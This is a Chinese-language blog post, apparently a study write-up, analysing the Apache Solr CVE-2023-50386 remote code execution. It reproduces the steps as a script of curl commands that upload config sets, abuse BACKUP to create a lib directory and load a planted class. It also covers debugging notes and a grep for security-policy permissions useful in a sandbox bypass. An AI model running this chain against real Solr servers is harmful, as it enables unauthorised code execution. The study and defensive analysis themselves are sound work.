这个漏洞感觉也太牛了,狠狠地学习一下。
参考文章:Apache Solr Backup/Restore APIs RCE (CVE-2023-50386)分析及挖掘思路 | l3yx’s blog
solr的概念,一大堆,就看了和这个洞相关的,见:
Apache Solr 组件安全概览 (seebug.org)
环境配置和操作步骤见原文,这里我把命令集合了一下,方便调试:
制作好conf1.zip和conf2.zip.

exploit.sh:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| curl "http://127.0.0.1:8983/solr/admin/collections?action=DELETE&name=collection1" curl "http://127.0.0.1:8983/solr/admin/configs?action=DELETE&name=conf1" curl "http://127.0.0.1:8983/solr/admin/configs?action=DELETE&name=conf2" curl "http://127.0.0.1:8983/solr/admin/collections?action=DELETE&name=collection2"
curl -X POST --header "Content-Type:application/octet-stream" --data-binary @conf1.zip "http://127.0.0.1:8983/solr/admin/configs?action=UPLOAD&name=conf1" curl "http://127.0.0.1:8983/solr/admin/collections?action=CREATE&name=collection1&numShards=1&replicationFactor=1&wt=json&collection.configName=conf1"
curl "http://127.0.0.1:8983/solr/admin/collections?action=BACKUP&collection=collection1&location=/var/solr/data/&name=collection2_shard1_replica_n1" curl "http://127.0.0.1:8983/solr/admin/collections?action=BACKUP&collection=collection1&location=/var/solr/data/collection2_shard1_replica_n1&name=lib"
curl -X POST --header "Content-Type:application/octet-stream" --data-binary @conf2.zip "http://127.0.0.1:8983/solr/admin/configs?action=UPLOAD&name=conf2" curl "http://127.0.0.1:8983/solr/admin/collections?action=CREATE&name=collection2&numShards=1&replicationFactor=1&wt=json&collection.configName=conf2"
|
漏洞成因就是各种未授权接口,默认情况下,UPLOAD,BACKUP,和CREATE这三个结合造成了漏洞。
关于接口可以参考官方文档:
Configsets API :: Apache Solr Reference Guide
Collection Management Commands :: Apache Solr Reference Guide
1:调试UPLOAD + CREATE
org.apache.solr.handler.admin.CollectionsHandler#handleRequestBody打断点。
1
| curl "http://127.0.0.1:8983/solr/admin/collections?action=CREATE&name=test_collection&numShards=1&replicationFactor=1&wt=json&collection.con figName=_default"
|
到org.apache.solr.core.SolrConfig#initLibs

这里会检查目录下是否有lib。如果有就会把东西add进urls。
我们传递的是test_collection, 那么创建的文件在/var/solr/data/test_collection_shard1_replica_n1
先把它删了:
1
| curl "http://127.0.0.1:8983/solr/admin/collections?action=DELETE&name=test_collection&numShards=1&replicationFactor=1&wt=json&collection.con figName=_default"
|
然后手动创建一下,看看啥情况:
1 2 3 4 5 6
| mkdir test_collection_shard1_replica_n1 mkdir test_collection_shard1_replica_n1/lib cd test_collection_shard1_replica_n1/lib mkdir test mkdir test/test123 touch empty.jar
|

如图,看看url最后去哪了。


可以看到是加进ClassLoader里了。
那么可以有个思路了,假如我们可以在lib里放jar包或者class文件,用URLClassLoader远程加载,然后命令执行。
2: BACKUP
1 2
| curl "http://127.0.0.1:8983/solr/admin/collections?action=BACKUP&collection=collection1&location=/var/solr/data/&name=collection2_shard1_replica_n1" curl "http://127.0.0.1:8983/solr/admin/collections?action=BACKUP&collection=collection1&location=/var/solr/data/collection2_shard1_replica_n1&name=lib"
|
location和name参数。而且要求是location这个目录必须提前存在(所以这里要curl两次)
这样collection2_shard1_replica_n1/lib目录就会创建了:

然后我们再CREATE即可:
1
| curl "http://127.0.0.1:8983/solr/admin/collections?action=CREATE&name=collection2&numShards=1&replicationFactor=1&wt=json&collection.configName=conf2"
|

可以看到长长的目录,lib/collection1/zk_backup_0/configs/conf1/Exp.class
Q:
为什么作者创建的包名是zk_backup_0.configs.conf1
而不是collection1.zk_backup_0.configs.conf1?

A:
debug一下:

如图,他会从lib的一级子目录底下开始找,也就是collection1。还有一种情况就是找lib下的jar包,但是这里实现不了。
3:命令执行
我稍微跟了下,以下是截图。

命令执行的地方在这:
SolrCore#createInstance

关键方法是这个:
SolrCore:

对应了原文中的解释:
4:关于沙箱绕过
参考:https://www.mi1k7ea.com/2020/05/03/%E6%B5%85%E6%9E%90Java%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8/

这里有policy文件,看下去。
看看能咋绕:
1
| grep -E -n 'permission java\.lang\.RuntimePermission "setSecurityManager"|permission java\.lang\.reflect\.ReflectPermission "suppressAccessChecks"|permission java\.lang\.RuntimePermission "accessDeclaredMembers"|permission java\.lang\.RuntimePermission "createClassLoader"|permission java\.lang\.RuntimePermission "loadLibrary\.*"' /opt/solr/server/etc/security.policy
|

看起来反射和classLoader都可以绕。
*反射在JDK17有很大限制,不太行,ClassLoader写的demo执行了,然后调了两小时,没调出来。。。